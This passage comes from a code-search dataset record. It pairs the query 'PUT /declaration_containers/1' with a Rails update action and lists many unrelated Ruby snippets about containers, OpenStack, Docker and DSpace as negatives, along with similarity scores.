endpoint[\"internalURL\"]\n elsif endpoint[\"name\"] == \"quantum\"\n quantum_ip = endpoint[\"internalURL\"]\n end\n end\n rescue\n token = Storage.find(cookies[:current_token]).data\n nova_ip = Storage.find(cookies[:nova_ip]).data\n quantum_ip = Storage.find(cookies[:quantum_ip]).data\n end\n end\n\n novaIP = URI.parse(nova_ip)\n nova = Ropenstack::Nova.new(novaIP, token)\n\n quantumIP = URI.parse(quantum_ip)\n quantum = Ropenstack::Quantum.new(quantumIP, token)\n\n # Make a note of how many networks this container already has\n networks_count = @container.deployed_networks.count\n # Define an array to keep track of how many existing networks have been sent back\n existing_networks = Array.new()\n @updated_container[\"deployed_networks\"].each do |network|\n if network[\"deployStatus\"] == false\n # This is a new network. Create it and store its data\n\n else\n # This is an existing network\n existing_networks << network[\"temp_id\"]\n end\n end\n \n if existing_networks.count < networks_count\n # Some existing networks were not sent back. Delete these networks\n end \n\n # Make a note of how many VMs this container already has\n vms_count = @container.deployed_vms.count\n # Define an array to keep track of how many existing VMs have been sent back\n existing_vms = Array.new()\n @updated_container[\"deployed_vms\"].each do |vm|\n if vm[\"deployStatus\"] == false\n # This is a new VM. Create it and store its data\n v = @container.deployed_vms.build()\n ports = Array.new()\n port_list = Array.new()\n vm[\"deployed_connected_networks\"].each do |network|\n port = quantum.create_port(network[\"openstack_id\"],'',\"compute:nova\")\n ports << port[\"port\"][\"id\"]\n data = {'uuid'=>network[\"openstack_id\"]}\n port_list << data\n connected_network = v.deployed_connected_networks.build()\n connected_network.openstack_id = network[\"openstack_id\"]\n connected_network.save \n end\n else\n # This is an existing VM\n existing_vms << vm[\"temp_id\"]\n end\n end\n \n if existing_vms.count < vms_count\n # Some existing vms were not sent back. Delete these vms\n end \n \n # Make a note of how many routers this container already has\n routers_count = @container.deployed_routers.count\n # Define an array to keep track of how many existing routers have been sent back\n existing_routers = Array.new()\n @updated_container[\"deployed_routers\"].each do |router|\n if router[\"deployStatus\"] == false\n # This is a new router. Create it and store its data\n else\n # This is an existing router\n existing_routers << router[\"temp_id\"] \n end\n end\n\n if existing_routers.count < routers_count\n # Some existing routers were not sent back. Delete these routers\n end \n\n @updated_container[\"deployed_conatiners\"].each do |container|\n # Do some magic. Possibly recursive magic.\n end\n\n end", "def user_side_create(container)\n container_hash = container.for_db\n container_row = map_to_row!(container_hash)\n\n execute_sql(:create, :container) do\n @connection.transaction do\n yield if block_given?\n table.insert(container_row)\n end\n end\n end", "def container_id=(value)\n @container_id = value\n end", "def containerize(\n project_name: '',\n project_id: 0,\n app: {}\n )\n\n puts \"#{__method__.to_s} enter\"\n\n # Where to push the docker image\n #docker_remote_registry_uri = \"\"\n #docker_remote_registry_uri = \"localhost:5000\" if server.compute_engine == 'minikube'\n #docker_remote_registry_uri = \"gcr.io/#{project_name}-#{project_id}\" if server.compute_engine == 'gce'\n\n\n app_name = \"#{project_name}-#{project_id}\"\n image_name = \"#{project_name}-#{project_id}\"\n\n\n docker_context_directory = docker_ready_context_directory(\n app_name: app_name,\n app_source_directory: app.source_url\n )\n\n passenger_prep(container_context_directory: docker_context_directory, app_types: app.type)\n\n dockerfile_contents = docker_ready_dockerfile(app_directory: app_name, app_types: app.type)\n\n make_file(\"#{docker_context_directory}/Dockerfile\", dockerfile_contents)\n\n\n\n docker_create_container_image(image_name: image_name, context_directory: docker_context_directory)\n\n container_info = { image_name: image_name }\n\n puts \"#{__method__.to_s} exit\"\n\n # Convert data structure (hashes and arrays) into a\n # dot notation accessable structure (ex. config.project.name)\n #\n return RecursiveOpenStruct.new(container_info, recurse_over_arrays: true )\n\nend", "def container_names\n (@pod.dig(:spec, :containers) + self.class.init_containers(@pod)).map { |c| c.fetch(:name) }.uniq\n end", "def create\n @container_row = ContainerRow.new(container_row_params)\n respond_to do |format|\n if @container_row.save\n flash[:success] = 'Row was successfully created.'\n format.html { redirect_to admin_container_row_url(@container_row) }\n format.json { render :show, status: :created, location: @container_row }\n else\n set_new\n format.html { render :new }\n format.json { render json: @container_row.errors, status: :unprocessable_entity }\n end\n end\n end", "def setup(container)\n\t\t\t@named.each do |name, service|\n\t\t\t\tConsole.logger.debug(self) {\"Setup #{name} into #{container}...\"}\n\t\t\t\tservice.setup(container)\n\t\t\tend\n\t\t\t\n\t\t\treturn container\n\t\tend", "def declaration_params\n params.require(:declaration).permit(\n :title,\n :body,\n :step,\n )\n end", "def new\n @container_navigation = ContainerNavigation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_navigation }\n end\n end", "def create\n @page_layout = PageLayout.new(params[:page_layout].permit(:content_type, :name, :num_panels, :html_content, :preview_content))\n\n respond_to do |format|\n if @page_layout.save\n format.html { redirect_to @page_layout, notice: 'Page layout was successfully created.' }\n format.json { render json: @page_layout, status: :created, location: @page_layout }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_layout.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n collection = Collection.create(collection_params)\n\n render json: collection\n end", "def lf_container\n container = Dry::Container.new\n\n case namespace\n when String, Symbol\n container.namespace(namespace) { |c| return c }\n when true\n container.namespace(identifier) { |c| return c }\n when nil\n container\n else\n raise <<-STR\n +namespace+ boot option must be true, string or symbol #{namespace.inspect} given.\n STR\n end\n end" ]
[ "0.7269031", "0.7036018", "0.6538774", "0.6397962", "0.62260205", "0.59086496", "0.58799714", "0.58510166", "0.58453804", "0.5839208", "0.5731913", "0.5722767", "0.5709518", "0.56978905", "0.5526372", "0.55007195", "0.54722893", "0.54154944", "0.5413828", "0.53923905", "0.5374459", "0.5343115", "0.53427047", "0.52970827", "0.5255782", "0.52225345", "0.52005494", "0.5138289", "0.51273876", "0.51256377", "0.51231945", "0.5122743", "0.5119399", "0.511367", "0.511367", "0.5112246", "0.51033705", "0.5100255", "0.50965613", "0.5054286", "0.505088", "0.50406486", "0.5029167", "0.5010274", "0.49708375", "0.49708375", "0.49628302", "0.49617335", "0.4959939", "0.49438843", "0.49397328", "0.4928408", "0.4923736", "0.49121678", "0.49063283", "0.48957253", "0.48853254", "0.48807845", "0.48764816", "0.48733976", "0.48687288", "0.48544943", "0.4852024", "0.48362154", "0.48180097", "0.48085424", "0.47800237", "0.47797808", "0.47684875", "0.47482225", "0.47468346", "0.47456026", "0.47386944", "0.47340566", "0.47281528", "0.47262746", "0.47249284", "0.47239742", "0.4722965", "0.4709601", "0.47039494", "0.46977672", "0.46970892", "0.4675223", "0.46749452", "0.46704194", "0.4660606", "0.46568292", "0.46535793", "0.46440643", "0.46304", "0.46247053", "0.46222165", "0.46207625", "0.4618235", "0.4605722", "0.45971543", "0.4596703", "0.45929876", "0.45876688" ]
0.72740287
0
PUT /declaration_containers/1 PUT /declaration_containers/1.json
def update respond_to do |format| if @declaration_container.update_attributes(params[:declaration_container]) format.html { redirect_to @declaration_container, notice: 'Declaration container was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @declaration_container.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n response = post_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers.json\"), params[:container].to_json, (sesh :current_token))\n json_respond response.body \n\n end", "def update\n @container = Container.find(params[:id])\n\n respond_to do |format|\n if @container.update_attributes(params[:container])\n format.html { redirect_to @container, notice: 'Container was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @containers = args[:containers] if args.key?(:containers)\n end", "def update!(**args)\n @container_type = args[:container_type] if args.key?(:container_type)\n @id = args[:id] if args.key?(:id)\n end", "def create\n @declaration_container = DeclarationContainer.new(params[:declaration_container])\n\n respond_to do |format|\n if @declaration_container.save\n format.html { redirect_to new_declaration_container_url(:declaration_id => @declaration_container.declaration_id), notice: 'Declaration container was successfully created.' }\n format.json { render json: @declaration_container, status: :created, location: @declaration_container }\n else\n format.html { render action: \"new\" }\n format.json { render json: @declaration_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @container.update(container_params)\n format.html { redirect_to @container, notice: 'Container was successfully updated.' }\n format.json { render :show, status: :ok, location: @container }\n else\n format.html { render :edit }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n response = post_request(URI.parse(\"http://\"+Storage.find(cookies[:donabe_ip]).data+\"/\"+Storage.find(cookies[:current_tenant]).data+\"/containers.json\"), params[:container].to_json, Storage.find(cookies[:current_token]).data)\n json_respond response.body \n\n end", "def update\n @container = Container.get!(params[:id])\n\n respond_to do |format|\n if @container.update(params[:container])\n flash[:notice] = 'Container was successfully updated.'\n format.html { redirect_to(edit_container_url(@container.id)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def container_params\n params.require(:container).permit(:name, :container_name, :image)\n end", "def update\n @updated_container = params([:container])\n @container = DeployedContainer.find(params[:container][:id])\n\n nova_ip = nil\n quantum_ip = nil\n if request.headers[\"X-Auth-Token\"] != \"\"\n token = request.headers[\"X-Auth-Token\"]\n begin\n services = Donabe::KEYSTONE.get_endpoints(token)\n services[\"endpoints\"].each do |endpoint|\n if endpoint[\"name\"] == \"nova\"\n nova_ip = endpoint[\"internalURL\"]\n elsif endpoint[\"name\"] == \"quantum\"\n quantum_ip = endpoint[\"internalURL\"]\n end\n end\n rescue\n token = Storage.find(cookies[:current_token]).data\n nova_ip = Storage.find(cookies[:nova_ip]).data\n quantum_ip = Storage.find(cookies[:quantum_ip]).data\n end\n end\n\n novaIP = URI.parse(nova_ip)\n nova = Ropenstack::Nova.new(novaIP, token)\n\n quantumIP = URI.parse(quantum_ip)\n quantum = Ropenstack::Quantum.new(quantumIP, token)\n\n # Make a note of how many networks this container already has\n networks_count = @container.deployed_networks.count\n # Define an array to keep track of how many existing networks have been sent back\n existing_networks = Array.new()\n @updated_container[\"deployed_networks\"].each do |network|\n if network[\"deployStatus\"] == false\n # This is a new network. Create it and store its data\n\n else\n # This is an existing network\n existing_networks << network[\"temp_id\"]\n end\n end\n \n if existing_networks.count < networks_count\n # Some existing networks were not sent back. Delete these networks\n end \n\n # Make a note of how many VMs this container already has\n vms_count = @container.deployed_vms.count\n # Define an array to keep track of how many existing VMs have been sent back\n existing_vms = Array.new()\n @updated_container[\"deployed_vms\"].each do |vm|\n if vm[\"deployStatus\"] == false\n # This is a new VM. Create it and store its data\n v = @container.deployed_vms.build()\n ports = Array.new()\n port_list = Array.new()\n vm[\"deployed_connected_networks\"].each do |network|\n port = quantum.create_port(network[\"openstack_id\"],'',\"compute:nova\")\n ports << port[\"port\"][\"id\"]\n data = {'uuid'=>network[\"openstack_id\"]}\n port_list << data\n connected_network = v.deployed_connected_networks.build()\n connected_network.openstack_id = network[\"openstack_id\"]\n connected_network.save \n end\n else\n # This is an existing VM\n existing_vms << vm[\"temp_id\"]\n end\n end\n \n if existing_vms.count < vms_count\n # Some existing vms were not sent back. Delete these vms\n end \n \n # Make a note of how many routers this container already has\n routers_count = @container.deployed_routers.count\n # Define an array to keep track of how many existing routers have been sent back\n existing_routers = Array.new()\n @updated_container[\"deployed_routers\"].each do |router|\n if router[\"deployStatus\"] == false\n # This is a new router. Create it and store its data\n else\n # This is an existing router\n existing_routers << router[\"temp_id\"] \n end\n end\n\n if existing_routers.count < routers_count\n # Some existing routers were not sent back. Delete these routers\n end \n\n @updated_container[\"deployed_conatiners\"].each do |container|\n # Do some magic. Possibly recursive magic.\n end\n\n end", "def update\n @container = Container.find(params[:id])\n\n respond_to do |format|\n if @container.update_attributes(params[:container])\n flash[:notice] = 'Container was successfully updated.'\n format.html { redirect_to(@container) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def container_params\n params.require(:container).permit(:name, :image, :command, :exposed_port, :host_port, :server_id)\n end", "def create # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.create(@options[:container])\n if newcontainer.code == '201'\n puts \"Container #{@options[:container]} created\"\n else\n @util.response_handler(newcontainer)\n end \n end", "def destroy\n @declaration_container.destroy\n\n respond_to do |format|\n format.html { redirect_to declaration_containers_url(:declaration_id => @declaration_container.declaration_id) }\n format.json { head :no_content }\n end\n end", "def update!(**args)\n @container_id = args[:container_id] if args.key?(:container_id)\n @permission = args[:permission] if args.key?(:permission)\n end", "def create\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers/\"+params[:containerID].to_s+\"/deploy.json\"), (sesh :current_token))\n json_respond response.body\n end", "def update!(**args)\n @container_id = args[:container_id] if args.key?(:container_id)\n @container_type = args[:container_type] if args.key?(:container_type)\n @extended_data = args[:extended_data] if args.key?(:extended_data)\n @materialized = args[:materialized] if args.key?(:materialized)\n end", "def update!(**args)\n @container = args[:container] if args.key?(:container)\n @container_type = args[:container_type] if args.key?(:container_type)\n @deleted = args[:deleted] if args.key?(:deleted)\n @id = args[:id] if args.key?(:id)\n @last_updated = args[:last_updated] if args.key?(:last_updated)\n @last_updated_micros = args[:last_updated_micros] if args.key?(:last_updated_micros)\n @source_etag = args[:source_etag] if args.key?(:source_etag)\n end", "def create\n @container = current_user.containers.build(params[:container])\n \n respond_to do |format|\n if @container.save\n flash[:notice] = 'Container was successfully created.'\n format.html { redirect_to(@container) }\n format.xml { render :xml => @container, :status => :created, :location => @container }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @container.errors, :status => :unprocessable_entity }\n end\n end\n end", "def upd_storage_container_fields\n if self.storage_container\n self.container_type = self.storage_container.container_type\n self.container_name = self.storage_container.container_name\n self.freezer_location_id = self.storage_container.freezer_location_id\n else\n # This is needed for bulk upload where StorageContainer model is not accessed directly\n new_container = StorageContainer.where(\"container_type = ? and container_name = ? and freezer_location_id = ?\",\n self.container_type, self.container_name, self.freezer_location_id).first\n self.storage_container_id = (new_container ? new_container.id : self.storage_container_id)\n end\n end", "def update\n @container_stack = ContainerStack.find(params[:id])\n\n respond_to do |format|\n if @container_stack.update_attributes(params[:container_stack])\n format.html { redirect_to @container_stack, notice: 'Container stack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @container_stack.errors, status: :unprocessable_entity }\n end\n end\n end", "def create params = {}, body = {}\n @connection.request(method: :post, path: build_path(\"/containers/create\", params), headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def update!(**args)\n @container_port = args[:container_port] if args.key?(:container_port)\n end", "def update!(**args)\n @container_version = args[:container_version] if args.key?(:container_version)\n @container_version_header = args[:container_version_header] if args.key?(:container_version_header)\n end", "def update!(**args)\n @acl_choices = args[:acl_choices] if args.key?(:acl_choices)\n @additional_container_info = args[:additional_container_info] if args.key?(:additional_container_info)\n @affinity = args[:affinity] if args.key?(:affinity)\n @contact_visibility = args[:contact_visibility] if args.key?(:contact_visibility)\n @container = args[:container] if args.key?(:container)\n @container_id = args[:container_id] if args.key?(:container_id)\n @container_primary = args[:container_primary] if args.key?(:container_primary)\n @container_type = args[:container_type] if args.key?(:container_type)\n @cross_device_allowed = args[:cross_device_allowed] if args.key?(:cross_device_allowed)\n @default_acl_choice = args[:default_acl_choice] if args.key?(:default_acl_choice)\n @deprecated_contact_container_id = args[:deprecated_contact_container_id] if args.key?(:deprecated_contact_container_id)\n @edge_key = args[:edge_key] if args.key?(:edge_key)\n @edge_key_info = args[:edge_key_info] if args.key?(:edge_key_info)\n @encoded_container_id = args[:encoded_container_id] if args.key?(:encoded_container_id)\n @field_acl = args[:field_acl] if args.key?(:field_acl)\n @last_update_time = args[:last_update_time] if args.key?(:last_update_time)\n @matching_info = args[:matching_info] if args.key?(:matching_info)\n @other_deduped_containers = args[:other_deduped_containers] if args.key?(:other_deduped_containers)\n @primary = args[:primary] if args.key?(:primary)\n @product_metadata = args[:product_metadata] if args.key?(:product_metadata)\n @verified = args[:verified] if args.key?(:verified)\n @visibility = args[:visibility] if args.key?(:visibility)\n @writeable = args[:writeable] if args.key?(:writeable)\n end", "def update\n respond_to do |format|\n if @serverhascontainer.update(serverhascontainer_params)\n format.html { redirect_to @serverhascontainer, notice: 'Serverhascontainer was successfully updated.' }\n format.json { render :show, status: :ok, location: @serverhascontainer }\n else\n format.html { render :edit }\n format.json { render json: @serverhascontainer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_container(collection, container = nil)\n active_container = container\n if active_container.nil?\n active_container = {\n \"metadata\": [\n {\n \"key\": \"dc.title\",\n \"language\": \"en_US\",\n \"value\": \"Empty Container Document\"\n },\n {\n \"key\": \"dc.contributor.author\",\n \"language\": \"en_US\",\n \"value\": \"Data Services, Bobst Library\"\n }\n ]\n }\n end\n cmd = `curl -X POST -H \"Content-Type: application/json\" -H \"Accept: application/json\" -H \"rest-dspace-token: #{@token}\" -d '#{JSON.generate(active_container)}' #{ENV[\"FDA_REST_ENDPOINT\"]}/collections/#{collection}/items --insecure -s`\n return JSON.parse(cmd)\n end", "def set_container_item\n @container_item = ContainerItem.find(params[:id])\n end", "def destroy\n @container = Container.find(params[:id])\n @container.destroy\n\n respond_to do |format|\n format.html { redirect_to containers_url, notice: 'Container was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def assign_containers_to_pods!(pods, containers)\n pods.each do |pod|\n pod['containers'] = containers.select do |container|\n container.key?('pod') && container['pod'] == pod['name']\n end\n end\nend", "def delete # rubocop:disable Metrics/AbcSize\n attrcheck = { 'container name' => @options[:container] }\n @validate.attrvalidate(@options, attrcheck)\n containerview = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n if @options[:recurse]\n contents = containerview.contents(@options[:container])\n container_contents = contents.body.split(/\\n/)\n container_contents.each do |content|\n containerview.delete_content(@options[:container], content)\n puts 'deleted ' + content\n end\n end\n containerview = containerview.delete(@options[:container])\n if containerview.code == '204'\n puts \"Container #{@options[:container]} deleted\"\n else\n @util.response_handler(containerview)\n end\n end", "def destroy\n @container = Container.find(params[:id])\n @container.destroy\n\n respond_to do |format|\n format.html { redirect_to(containers_url) }\n format.xml { head :ok }\n end\n end", "def create(container_name, file_name, body = nil, args = {})\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :put,\n path: \"#{container_name}/#{file_name}\",\n expected: 201,\n params: {:body => body},\n headers: create_headers_from(args)\n )\n end", "def add_container(params = {})\n now = Time.now.strftime(\"%Y-%m-%dT%H:%M:%S\")\n now = now.gsub(':', '--')\n\n @slug = params.fetch(:slug, now)\n \n containers = self.get_containers\n containers.each do |c|\n return c if c.uri.to_s.match(/\\/#{@slug}\\/?$/) # check if it already exists\n end\n \n # headers = {accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n payload = \"\"\"@prefix ldp: <http://www.w3.org/ns/ldp#> . \n <> a ldp:Container, ldp:BasicContainer .\"\"\"\n etag = Digest::SHA2.hexdigest payload \n headers = {ETag: \"#{etag}\", accept: 'text/turtle', content_type: 'text/turtle', \"Slug\" => @slug, \"Link\" => '<http://www.w3.org/ns/ldp#BasicContainer>; rel=\"type\"'}\n \n \n response = LDP::HTTPUtils::post(self.uri, headers, payload, self.client.username, self.client.password)\n if response\n newuri = response.headers[:location] \n newcont = self._add_container({:uri => newuri,\n :client => self.client,\n :parent => self,\n :top => self.toplevel_container,\n :init => true})\n unless newcont\n abort \"PROBLEM - cannot add new container with id #{newuri}. BAILING just to be safe\"\n end\n return newcont\n else\n abort \"PROBLEM - cannot create container into #{self.uri}. BAILING just to be safe\"\n end\n \n end", "def update\n @container_content = ContainerContent.find(params[:id])\n\n respond_to do |format|\n if @container_content.update_attributes(params[:container_content])\n format.html { redirect_to(@container_content.container, :notice => 'Container content was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @container_content.errors, :status => :unprocessable_entity }\n end\n end\n end", "def container_id=(value)\n @container_id = value\n end", "def add_chef_object(container_name, requestor, object_json)\n post(api_url(\"/#{container_name}\"), requestor, :payload => object_json)\n end", "def new\n @declaration_container = DeclarationContainer.new(:declaration_id => @declaration.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @declaration_container }\n end\n end", "def update\n \n @accessory = Accessory.find(params[:id])\n @ibox = Ibox.find(session[:ibox_id])\n @users = @ibox.users.where(:isAdmin => false)\n @containerOld = IboxAccessoriesContainer.find_by_ibox_id_and_accessory_type_id(@ibox.id, @accessory.accessory_type.id)\n @containerOld.accessories.destroy(@accessory)\n @accessoryTypes= AccessoryType.all\n @accessoryTypes.delete(AccessoryType.find_by_name(\"Sensores\"))\n respond_to do |format|\n if @accessory.update_attributes(params[:accessory])\n #guardo el nombre del accesorio en el ibox\n name = @accessory.name #lo asigno para borrarle los espacios para pasarselo al webservice\n iboxExecute(@ibox.ip, @ibox.port, '/cgi-bin/Set.cgi?ZID=' + @accessory.zid + '&ALIAS=' + name.delete(' ') + '&X=' + @accessory.x + '&Y=' + @accessory.y + '&W=' + @accessory.w + '&H=' + @accessory.h + '&Layer=0',@ibox.user,@ibox.password) \n # se agrega al nuevo containter\n if (!@ibox.accessory_types.find_by_name(@accessory.accessory_type.name))\n @ibox.accessory_types << @accessory.accessory_type\n end\n @container = IboxAccessoriesContainer.find_by_ibox_id_and_accessory_type_id(@ibox.id, @accessory.accessory_type.id)\n \n @container.update_attribute(:name, @accessory.accessory_type.name)\n @container.accessories << @accessory \n\n @containers = IboxAccessoriesContainer.where(\"ibox_id = ?\", @ibox.id)\n @accessories = []\n logger.debug \"#################################### container length = #{@containers.length}\"\n @containers.each do |container|\n @accessories << container.accessories\n end\n logger.debug \"#################################### accessories length = #{@accessories.length}\"\n format.js\n else\n logger.debug \"########################################33RENDERIZANDO DENUEVO EDIT\"\n format.js { render :action => \"edit\" }\n end\n end\n end", "def create\n @serverhascontainer = Serverhascontainer.new(serverhascontainer_params)\n\n respond_to do |format|\n if @serverhascontainer.save\n format.html { redirect_to @serverhascontainer, notice: 'Serverhascontainer was successfully created.' }\n format.json { render :show, status: :created, location: @serverhascontainer }\n else\n format.html { render :new }\n format.json { render json: @serverhascontainer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_container_with_http_info(container_id, container_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContainersApi.update_container ...'\n end\n # verify the required parameter 'container_id' is set\n if @api_client.config.client_side_validation && container_id.nil?\n fail ArgumentError, \"Missing the required parameter 'container_id' when calling ContainersApi.update_container\"\n end\n # verify the required parameter 'container_body' is set\n if @api_client.config.client_side_validation && container_body.nil?\n fail ArgumentError, \"Missing the required parameter 'container_body' when calling ContainersApi.update_container\"\n end\n # resource path\n local_var_path = '/containers/{container_id}'.sub('{' + 'container_id' + '}', CGI.escape(container_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(container_body) \n\n # return_type\n return_type = opts[:return_type] || 'Container' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContainersApi#update_container\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n begin\n #get the server chosen container_params[:server_id]\n @currentServer = Server.where(id: container_params[:server_id])\n Docker.url = 'tcp://' + @currentServer[0].ip + \":\" + @currentServer[0].port\n\n #create the container in docker\n if container_params[:exposed_port].blank?\n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image]\n ) \n else \n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image],\n 'ExposedPorts' => { container_params[:exposed_port]+'/tcp' => {} },\n 'HostConfig' => {\n 'PortBindings' => {\n container_params[:exposed_port]+'/tcp' => [{ 'HostPort' => container_params[:host_port] }]\n }\n }\n )\n end\n\n #adds the container into the database\n @container = Container.new(:name => container_params[:name], :image => container_params[:image], :command => container_params[:command], :exposed_port => container_params[:exposed_port], \n :host_port => container_params[:host_port], :dockercontainer_id => @con.id, :status => 'Created')\n\n Docker.url = ''\n\n respond_to do |format|\n if @container.save\n Serverhascontainer.new(:server_id => @currentServer[0].id, :container_id => @container.id).save\n format.html { redirect_to root_path, notice: 'Container was successfully created.' }\n format.json { render :show, status: :created, location: @container }\n else\n format.html { render :new }\n format.json { render json: @container.errors, status: :unprocessable_entity }\n end\n end\n\n rescue Docker::Error::ClientError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::NotFoundError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n rescue Docker::Error::ConflictError => e\n respond_to do |format| \n format.html { redirect_to root_path, notice: \"Oops: #{e.message}\" }\n end\n\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @container_item.update(container_item_params)\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was successfully created.')}\n format.json { render json: @container_item, status: :ok, location: @container_item }\n else\n format.html {redirect_back(fallback_location: (request.referer || root_path), notice: 'Container item was NOT successfully updated.')}\n format.json { render json: @container_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_container_acl(name, public_access_level, options={})\n # Query\n query = { 'comp' => 'acl' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Scheme + path\n uri = container_uri(name, query)\n\n # Headers + body\n headers = StorageService.common_headers\n headers['x-ms-blob-public-access'] = public_access_level if public_access_level && public_access_level.to_s.length > 0\n\n signed_identifiers = nil\n signed_identifiers = options[:signed_identifiers] if options[:signed_identifiers]\n\n body = nil\n body = Serialization.signed_identifiers_to_xml(signed_identifiers) if signed_identifiers\n\n # Call\n response = call(:put, uri, body, headers, options)\n\n # Result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container.public_access_level = public_access_level\n\n return container, signed_identifiers || []\n end", "def patch_containers(containers)\n (containers || Array.new).each do |container|\n if container[\"image\"] =~ /.*velum.*/\n container[\"image\"] = \"sles12/velum:development\"\n container[\"volumeMounts\"] ||= Array.new\n container[\"volumeMounts\"] << {\n \"mountPath\" => \"/srv/velum\",\n \"name\" => \"velum-devel\"\n }\n container[\"env\"] ||= Array.new\n container[\"env\"].each do |env|\n env[\"value\"] = \"development\" if env[\"name\"] == \"RAILS_ENV\"\n end\n\n # Ensure the velum_production db is used, this is what the\n # salt mysql returner is configured to use\n container[\"env\"] << {\n \"name\" => \"VELUM_DB_NAME\",\n \"value\" => \"velum_production\"\n }\n end\n end\nend", "def set_container_metadata(name, metadata, options={})\n # Query\n query = { 'comp' => 'metadata' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Headers\n headers = StorageService.common_headers\n StorageService.add_metadata_to_headers(metadata, headers) if metadata\n\n # Call\n call(:put, container_uri(name, query), nil, headers, options)\n \n # Result\n nil\n end", "def containers=(value)\n @containers = value\n end", "def update\n @container_navigation = ContainerNavigation.find(params[:id])\n\n respond_to do |format|\n if @container_navigation.update_attributes(params[:container_navigation])\n format.html { redirect_to @container_navigation, notice: 'Container navigation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @container_navigation.errors, status: :unprocessable_entity }\n end\n end\n end", "def container=(value)\n @container = value\n end", "def flexmock_container=(container)\n end", "def flexmock_container=(container)\n end", "def update!(**args)\n @account_id = args[:account_id] if args.key?(:account_id)\n @container_id = args[:container_id] if args.key?(:container_id)\n @container_version_id = args[:container_version_id] if args.key?(:container_version_id)\n @deleted = args[:deleted] if args.key?(:deleted)\n @name = args[:name] if args.key?(:name)\n @num_macros = args[:num_macros] if args.key?(:num_macros)\n @num_rules = args[:num_rules] if args.key?(:num_rules)\n @num_tags = args[:num_tags] if args.key?(:num_tags)\n @num_triggers = args[:num_triggers] if args.key?(:num_triggers)\n @num_variables = args[:num_variables] if args.key?(:num_variables)\n end", "def update!(**args)\n @account_id = args[:account_id] if args.key?(:account_id)\n @container = args[:container] if args.key?(:container)\n @container_id = args[:container_id] if args.key?(:container_id)\n @container_version_id = args[:container_version_id] if args.key?(:container_version_id)\n @deleted = args[:deleted] if args.key?(:deleted)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @folder = args[:folder] if args.key?(:folder)\n @macro = args[:macro] if args.key?(:macro)\n @name = args[:name] if args.key?(:name)\n @notes = args[:notes] if args.key?(:notes)\n @rule = args[:rule] if args.key?(:rule)\n @tag = args[:tag] if args.key?(:tag)\n @trigger = args[:trigger] 